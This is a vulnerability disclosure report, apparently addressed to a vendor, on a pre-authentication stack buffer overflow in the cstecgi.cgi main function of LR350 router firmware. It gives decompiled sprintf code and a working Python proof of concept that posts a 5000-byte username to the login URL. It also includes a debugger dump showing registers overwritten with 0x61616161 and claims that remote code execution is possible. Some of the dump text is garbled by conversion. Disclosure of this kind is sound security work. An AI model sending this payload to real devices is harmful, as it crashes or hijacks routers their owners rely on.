LR350 - bof - main (pre-authentication)

Hi, we found a **pre-authentication** stack buffer overflow at **LR350** (Firmware version **V9.3.5u.6369_B20220309**), and contact you at the first time.

```
goto EAULE_13,
if ( strstr(v3, "action=login") )
{
    if ( strstr(v3, "flag=ie8") )
    {
        v33 = strstr(v3, "verify=error");
        v34 = (const char *)getenv("http_host");
        sprintf(
        v36,
        "{\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=ie8&verify=%d\"}",
        v34,
        v33 != 0);
        v12 = v36;
}
```

In main function, the length of post data is not checked. If the query string is specified as /cgi-bin/cstecgi.cgi?action=login&flag=ie8, one can send a very long post data to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi?
action=login&flag=ie8" cookie = {"Cookie":"uid=1234"} data =
"username="+"a"*5000 response = requests.post(url, cookies=cookie, data=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
T5
     0x1
 T6
      0x400
                 main #1116) ← lw $gp, 0x20($sp) /* ' ' */
 T7
     0x39
 T8
 T9

← sltiu $v0, $a2, 0x10

      0x61616161 ('aaaa')
 50
 S1
     <u>0x7fa39d2c</u> ← 0x61616161 ('aaaa')
 52
 53
      0x3d
 54

← sltiu $v0, $a2, 0x10

              ← 'NEED_AUTH'
 55
      0xb6a3a0 ← 0x0
 56
 57
     0x77f23024
 58
     0x77e548b4
 FP
     0x0
 SP
     <u>0x7fa38900</u> ← 0x0
 PC
                          $v0, ($a1)
 ► 0x77a18954
                lbu
                       $v0, ($a1)
               addiu $a0, $a0, 1
  0x77a18958
                 subu $v1, $v1, $v0
  0x77a1895c
                bnez $v1, 0x77a18978
  0x77a18960
              addiu $a1, $a1, 1
addiu $a2, $a2, -1
  0x77a18964
  0x77a18968
  0x77a1896c
                bnel $a2, $zero, 0x77a18954
  0x77a18970
               lbu $v1, ($a0)
  0x77a18974 move $v1, $zero
  0x77a18978
               move $v0, $v1
  0x77a1897c
                jг
                       $ra
00:0000 sp 0x7fa38900 \leftarrow 0x0
01:0004
             0x7fa38904 → 0x7fa38a70 ← 0x6f74227b ('{"to')
02:0008
             0x7fa38908 → 0x7fa3ae54 ← '192.168.17.208'
             0x7fa3890c → 0xb6a410 ← 'loginAuth'
03:000c
04:0010
             <u>0x7fa38910</u> → 0x7f93bd98 ← 0x7f93bd98
05:0014
             0x7fa38914 → 0xb69008 ← 0x72657375 ('user')
06:0018
             0x7fa38918 ← 0x77e548b4
                                     ← lw
                                              $gp, 0x20($sp) /* ' ' */
07:001c
             0x7fa3891c →
▶ f 0 77a18954
```